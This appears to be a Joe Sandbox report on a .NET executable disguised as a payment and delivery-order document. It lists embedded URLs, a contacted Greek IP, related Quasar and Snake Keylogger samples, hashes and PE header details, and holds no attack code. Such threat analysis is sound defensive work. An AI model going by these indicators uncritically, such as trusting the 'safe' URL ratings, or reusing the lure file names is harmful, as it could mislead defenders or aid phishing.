DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oleonidas.gr	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.oleonidas.grd	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003188000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.oleonidas.grD	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003744000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000369D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003893000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003806000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036E3000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003837000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000372B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000382B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038A3000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oleonidas.grd	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000381B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033BB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033E7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000033FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.78.221.73	oleonidas.gr	Greece		47521	IPHOSTGRIpDomainGR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561888
Start date and time:	2024-11-24 16:38:54 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
Detection:	MAL
Classification:	mal64.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 13 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, PID 3504 because it is empty
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Simulations

Behavior and APIs

Time	Type	Description
10:39:44	API Interceptor	11179531x Sleep call for process: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.78.221.73	________.exe	Get hash	malicious	Quasar	Browse
	________.exe	Get hash	malicious	Quasar	Browse
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse
	e-dekont (72).pdf(#U007e56 KB).exe	Get hash	malicious	Snake Keylogger	Browse
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse
	RFQ 4748.exe	Get hash	malicious	Snake Keylogger	Browse
	PurchOrd_75238572.pdf.exe	Get hash	malicious	Snake Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IPHOSTGRIpDomainGR	________.exe	Get hash	malicious	Quasar	Browse	185.78.221.73
	________.exe	Get hash	malicious	Quasar	Browse	185.78.221.73
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse	185.78.221.73
	Order88983273293729387293828PDF.exe	Get hash	malicious	Quasar	Browse	185.78.221.73
	e-dekont (72).pdf(#U007e56 KB).exe	Get hash	malicious	Snake Keylogger	Browse	185.78.221.73
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	185.78.221.73
	RFQ 4748.exe	Get hash	malicious	Snake Keylogger	Browse	185.78.221.73
	PurchOrd_75238572.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	185.78.221.73
	433.docx.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.78.220.138
	https://ktima-edem.gr/gbzuv/?09812432	Get hash	malicious	Unknown	Browse	93.174.123.195

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	185.78.221.73
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	185.78.221.73
	Outstanding Invoices_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	185.78.221.73
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.78.221.73
	mDHwap5GlV.exe	Get hash	malicious	LummaC Stealer	Browse	185.78.221.73
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	185.78.221.73
	ListaItensVistoriaCorpodeBombeirosObrigatorio.msi	Get hash	malicious	AteraAgent	Browse	185.78.221.73
	registration.msi	Get hash	malicious	AteraAgent	Browse	185.78.221.73
	portal.msi	Get hash	malicious	AteraAgent	Browse	185.78.221.73
	Digital.msi	Get hash	malicious	AteraAgent	Browse	185.78.221.73

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.7773025058766265
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe
File size:	80'896 bytes
MD5:	5a7ac4c646f3e5e30942dafc5cc0fdc4
SHA1:	43f9aec0a0c6c11d3dc57375c4267940846303da
SHA256:	db335c92e784e782a0ca41766c2873f9be00aede8389a389f1e2c6219310d2fd
SHA512:	e5045dfe71fff18c65787ad161ef5a6727f416cac31b82a9b83e5bc5066eea1ca8155cf31a27ddfb12d30ee959e030ba881c5b9ef6371627303a8adf9d45b4f6
SSDEEP:	1536:7v12ZUhB+RdtZTQjWAcCUxqVxYnrF2j3+UQ78PquPp:x2tszxYnrFOBQPC
TLSH:	86834A3C23DCDB2FC72C86B5E4B909515B32E2562123E3DB6F5475AD7E267A004223A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....?g.................2...........P... ...`....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4150ee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F0C9C [Thu Nov 21 10:34:04 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1509c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x5a6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
